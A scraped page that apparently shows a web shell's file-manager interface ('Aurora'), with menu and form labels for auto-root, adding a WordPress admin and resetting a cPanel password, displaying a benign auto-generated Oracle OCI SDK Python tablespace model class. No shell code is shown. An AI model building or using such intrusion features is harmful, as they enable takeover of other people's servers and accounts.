Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
database_migration
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: create_non_adb_auto_create_tablespace_details.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20230518 from .create_target_type_tablespace_details import CreateTargetTypeTablespaceDetails from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class CreateNonADBAutoCreateTablespaceDetails(CreateTargetTypeTablespaceDetails): """ Migration tablespace settings valid for NON-ADB target type using auto create feature. """ #: A constant which can be used with the block_size_in_kbs property of a CreateNonADBAutoCreateTablespaceDetails. #: This constant has a value of "SIZE_2K" BLOCK_SIZE_IN_KBS_SIZE_2_K = "SIZE_2K" #: A constant which can be used with the block_size_in_kbs property of a CreateNonADBAutoCreateTablespaceDetails. #: This constant has a value of "SIZE_8K" BLOCK_SIZE_IN_KBS_SIZE_8_K = "SIZE_8K" #: A constant which can be used with the block_size_in_kbs property of a CreateNonADBAutoCreateTablespaceDetails. #: This constant has a value of "SIZE_16K" BLOCK_SIZE_IN_KBS_SIZE_16_K = "SIZE_16K" #: A constant which can be used with the block_size_in_kbs property of a CreateNonADBAutoCreateTablespaceDetails. #: This constant has a value of "SIZE_32K" BLOCK_SIZE_IN_KBS_SIZE_32_K = "SIZE_32K" def __init__(self, **kwargs): """ Initializes a new CreateNonADBAutoCreateTablespaceDetails object with values from keyword arguments. The default value of the :py:attr:`~oci.database_migration.models.CreateNonADBAutoCreateTablespaceDetails.target_type` attribute of this class is ``NON_ADB_AUTOCREATE`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param target_type: The value to assign to the target_type property of this CreateNonADBAutoCreateTablespaceDetails. Allowed values for this property are: "ADB_S_REMAP", "ADB_D_REMAP", "ADB_D_AUTOCREATE", "NON_ADB_REMAP", "NON_ADB_AUTOCREATE" :type target_type: str :param is_auto_create: The value to assign to the is_auto_create property of this CreateNonADBAutoCreateTablespaceDetails. :type is_auto_create: bool :param is_big_file: The value to assign to the is_big_file property of this CreateNonADBAutoCreateTablespaceDetails. :type is_big_file: bool :param extend_size_in_mbs: The value to assign to the extend_size_in_mbs property of this CreateNonADBAutoCreateTablespaceDetails. :type extend_size_in_mbs: int :param block_size_in_kbs: The value to assign to the block_size_in_kbs property of this CreateNonADBAutoCreateTablespaceDetails. Allowed values for this property are: "SIZE_2K", "SIZE_8K", "SIZE_16K", "SIZE_32K" :type block_size_in_kbs: str """ self.swagger_types = { 'target_type': 'str', 'is_auto_create': 'bool', 'is_big_file': 'bool', 'extend_size_in_mbs': 'int', 'block_size_in_kbs': 'str' } self.attribute_map = { 'target_type': 'targetType', 'is_auto_create': 'isAutoCreate', 'is_big_file': 'isBigFile', 'extend_size_in_mbs': 'extendSizeInMBs', 'block_size_in_kbs': 'blockSizeInKBs' } self._target_type = None self._is_auto_create = None self._is_big_file = None self._extend_size_in_mbs = None self._block_size_in_kbs = None self._target_type = 'NON_ADB_AUTOCREATE' @property def is_auto_create(self): """ Gets the is_auto_create of this CreateNonADBAutoCreateTablespaceDetails. True to auto-create tablespace in the target Database. :return: The is_auto_create of this CreateNonADBAutoCreateTablespaceDetails. :rtype: bool """ return self._is_auto_create @is_auto_create.setter def is_auto_create(self, is_auto_create): """ Sets the is_auto_create of this CreateNonADBAutoCreateTablespaceDetails. True to auto-create tablespace in the target Database. :param is_auto_create: The is_auto_create of this CreateNonADBAutoCreateTablespaceDetails. :type: bool """ self._is_auto_create = is_auto_create @property def is_big_file(self): """ Gets the is_big_file of this CreateNonADBAutoCreateTablespaceDetails. True set tablespace to big file. :return: The is_big_file of this CreateNonADBAutoCreateTablespaceDetails. :rtype: bool """ return self._is_big_file @is_big_file.setter def is_big_file(self, is_big_file): """ Sets the is_big_file of this CreateNonADBAutoCreateTablespaceDetails. True set tablespace to big file. :param is_big_file: The is_big_file of this CreateNonADBAutoCreateTablespaceDetails. :type: bool """ self._is_big_file = is_big_file @property def extend_size_in_mbs(self): """ Gets the extend_size_in_mbs of this CreateNonADBAutoCreateTablespaceDetails. Size of extend in MB. Can only be specified if 'isBigFile' property is set to true. :return: The extend_size_in_mbs of this CreateNonADBAutoCreateTablespaceDetails. :rtype: int """ return self._extend_size_in_mbs @extend_size_in_mbs.setter def extend_size_in_mbs(self, extend_size_in_mbs): """ Sets the extend_size_in_mbs of this CreateNonADBAutoCreateTablespaceDetails. Size of extend in MB. Can only be specified if 'isBigFile' property is set to true. :param extend_size_in_mbs: The extend_size_in_mbs of this CreateNonADBAutoCreateTablespaceDetails. :type: int """ self._extend_size_in_mbs = extend_size_in_mbs @property def block_size_in_kbs(self): """ Gets the block_size_in_kbs of this CreateNonADBAutoCreateTablespaceDetails. Size of Oracle database blocks in KB. Allowed values for this property are: "SIZE_2K", "SIZE_8K", "SIZE_16K", "SIZE_32K" :return: The block_size_in_kbs of this CreateNonADBAutoCreateTablespaceDetails. :rtype: str """ return self._block_size_in_kbs @block_size_in_kbs.setter def block_size_in_kbs(self, block_size_in_kbs): """ Sets the block_size_in_kbs of this CreateNonADBAutoCreateTablespaceDetails. Size of Oracle database blocks in KB. :param block_size_in_kbs: The block_size_in_kbs of this CreateNonADBAutoCreateTablespaceDetails. :type: str """ allowed_values = ["SIZE_2K", "SIZE_8K", "SIZE_16K", "SIZE_32K"] if not value_allowed_none_or_none_sentinel(block_size_in_kbs, allowed_values): raise ValueError( f"Invalid value for `block_size_in_kbs`, must be None or one of {allowed_values}" ) self._block_size_in_kbs = block_size_in_kbs def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other